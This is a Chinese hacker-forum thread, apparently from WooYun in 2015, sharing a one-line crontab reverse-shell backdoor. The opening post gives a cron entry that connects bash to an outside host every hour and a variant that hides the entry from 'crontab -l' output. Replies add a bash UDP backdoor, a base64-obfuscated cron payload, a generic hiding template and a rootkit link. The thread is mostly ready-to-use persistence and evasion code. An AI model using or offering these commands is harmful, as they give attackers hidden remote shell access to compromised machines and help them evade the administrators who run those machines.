一条命令实现无文件兼容性强的反弹后门
猪猪侠 (A) | 2015-01-25 20:15
最好用一个不常见的用户执行,任务写入/var/spool/cron/$username
(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
升级猥琐版,crontab -l 直接提示no crontab for $username
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
60分钟反连一次,在未连接状态启动反连任务的时候,进程和端口都无状态
-bash: connect: Connection refused -bash: /dev/tcp/dns.wuyun.org/53: Connection refused -bash: 9: Bad file descriptor -bash: 9: Bad file descriptor
也就是说,你安装后,如果不连接成功,是很难被发现的。
各种吐槽:
1#
wzt (瘦古龙) | | 2015-01-26 13:11
bash udp反弹后门:
#!/bin/bash exec 9<> /dev/udp/localhost/8080 [ $? -eq 1 ] && exit echo "connect ok" >&9 while : do a=`dd bs=200 count=1 <&9 2>/dev/null` if echo "$a"|grep "exit"; then break; fi echo `$a` >&9 done exec 9>&- exec 9<&-
https://github.com/cloudsec/brootkit/blob/master/ubd.sh
2#
RAINMan | 2015-01-25 20:16
赞
3#
TestRoot | 2015-01-25 20:16
好牛逼
4#
Coffee (高三加油~) | 2015-01-25 20:21
赞
5#
Well (男神提枪逛青楼。) | 2015-01-25 20:29
微博中中看到了,赞一个
6#
李旭敏 ((҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉) | 2015-01-25 21:20
目测连接成功后,也是很难被发现的。
7#
刘海哥 (www.liuhg.com) | 2015-01-25 21:35
这么说猪猪侠有很多后门咯
8#
猪猪侠 (A) | 2015-01-25 22:06
更加隐藏的版本
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wooyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
9#
子非海绵宝宝 (呵呵) | 2015-01-25 22:10
好东西....
10#
greg.wu | 2015-01-25 22:14
好牛啊
11#
hkmm | 2015-01-25 22:22
屌屌屌
12#
Power | 2015-01-25 22:26
收藏..
13#
泳少 (此号被射!by U神) | 2015-01-25 22:31
猪哥终于分享多年的经验了
14#
redrain有节操 (快来和我滚床单) | 2015-01-25 22:52
@猪猪侠 这个隐藏版本确实学到了,湾湾orange吊吊的
15#
superbing (技术交流,乐在分享!) | 2015-01-25 23:01
/var/spool/cron/ 连个read 权限都没有
16#
superbing (技术交流,乐在分享!) | 2015-01-25 23:03
crontab 也没权限 。。。
17#
null (#) | 2015-01-25 23:17
@superbing @superbing 理想很丰满,现实很骨感。。。
18#
wefgod (求大牛指点) | 2015-01-26 09:05
太恐怖了!
19#
xsjswt | 2015-01-26 09:13
tty设置不对的话,第二条反而惹嫌疑
20#
流星warden (塵歸塵,土歸土,讓往生者安寧,讓在世者重獲解脫。) | 2015-01-26 09:23
想象是美好的,现实是残酷的。。
21#
黑吃黑 (粪土当年万户侯) | 2015-01-26 09:25
@猪猪侠 你在乌云那么叼,你领导知道吗?
22#
0x12 (帽子掉了|多逛,少说话。|小学生) | 2015-01-26 09:29
简单好用易懂
23#
Xeyes (无个性,不签名.) | 2015-01-26 09:45
收藏~~~~
24#
_Thorns | 2015-01-26 10:03
赞!
25#
wzt (瘦古龙) | 2015-01-26 11:22
exec 9<> /dev/tcp/localhost/8080&&exec 0<&9&&exec 1>&9 2>&1&&/bin/bash --noprofile -i
这样tcp连接不成功, 就不会继续执行bash了, 不然每隔1小时系统里就会多出一个/bin/bash -i的进程。
另外还可以把反弹后门用base64加密,运行时解密:
*/1 * * * * a=`echo "ZXhlYyA5PD4gL2Rldi90Y3AvbG9jYWxob3N0LzgwODA7ZXhlYyAwPCY5O2V4ZWMgMT4mOSAyPiYxOy9iaW4vYmFzaCAtLW5vcHJvZmlsZSAtaQ=="|base64 -d`;/bin/bash -c "$a";unset a
更多关于bash的渗透技巧请访问:https://github.com/cloudsec/brootkit
26#
过客 | 2015-01-26 11:32
@wzt 赞
27#
redrain有节操 (快来和我滚床单) | 2015-01-26 12:08
刚刚orange又教一招
printf "*/3 * * * * $CMD;\rno crontab for $USER%$((${#CMD}+10))c\n" | crontab -
28#
keke (秒杀各种装逼犯) | 2015-01-26 13:20
@Well 求头像番号
29#
Fireweed | 2015-01-26 13:24
mark
30#
RainShine (I'm your angel of music.) | 2015-01-26 13:29
mark.
31#
猪猪侠 (A) | 2015-01-26 13:50
@wzt 赏你一个乌云币。
32#
Well (男神提枪逛青楼。) | 2015-01-26 18:24
@keke 点感谢后,发你
33#
Zvall (safeKey team - 电击小子) | 2015-01-26 18:44
@wzt Nice Nice
34#
冰锋刺客 (往日不可追) | 2015-01-26 19:00
这个还是比较有用的,先记下...
35#
lnterface | 2015-01-26 23:16
先记录一下啊